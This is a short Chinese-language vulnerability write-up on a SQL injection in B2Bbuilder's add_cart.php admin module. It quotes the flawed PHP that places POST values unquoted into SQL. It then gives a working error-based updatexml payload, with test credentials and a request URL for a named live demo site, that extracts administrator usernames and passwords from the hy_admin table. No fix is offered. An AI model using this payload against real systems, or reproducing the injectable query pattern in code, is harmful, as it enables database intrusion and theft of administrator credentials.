B2Bbuilder最新版sql注入

我们看到到module\buy\admin\add_cart.php

if(!empty($_POST["cat"])&&!empty($_GET["id"]))
{        
        $ext_table=$config['table_pre'].'defind_'.$_POST['ext_field_cat'];
        $_POST['ext_field_cat']*=1;
        
        if($_POST['pid']!=0)
        {
                if($_POST["pid"]!==substr($_GET['id'],0,strlen($_GET['id'])-2))
                {
                        $s=$_POST["pid"]."00";
                        $b=$_POST["pid"]."99";
                        $sql="select max(catid) as catid from $cat_table where catid>$s and catid<$b";
                        $db->query($sql);
                        $re=$db->fetchRow();
                        $id=$re["catid"];
                        if(!$id)
                                $id=$_POST["pid"]."01";
                        else
                                $id=$id+1;
                }
                else
                        $id=$_GET['id'];
                //编辑当前类别信息
                $sql="update $cat_table set catid='$id', cat='".$_POST['cat']."',isindex='".$isindex."' 
                        ,pic='$_POST[pic]',brand='$_POST[brand]',ext_table='$ext_table',ext_field_cat='$_POST[ext_field_cat]',template='$_POST[template]' where catid='".$_GET['id']."'";
                $re=$db->query($sql);
                //如果当前类别下面带有子类别把子类别一起移过去
                $s=$_GET['id']."00";
                $b=$_GET['id']."99";
                $sql="update $cat_table set catid=replace(catid,$_GET[id],$id) where catid>=$s and catid<=$b";
                $re=$db->query($sql);
        }

只要满足!empty($_POST["cat"])&&!empty($_GET["id"]就会进入下面的流程。
然后$s为被单引号包裹,直接进入sql语句。然后造成sql注入。
我们用demo做测试

首先注册一个账号
http://democn.b2b-builder.com
账号密码都为test

然后构造
http://democn.b2b-builder.com/main.php?m=buy&s=admin/add_cat&id=111

其中post数据包为

cat=1&pid=1  or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23

3

发表评论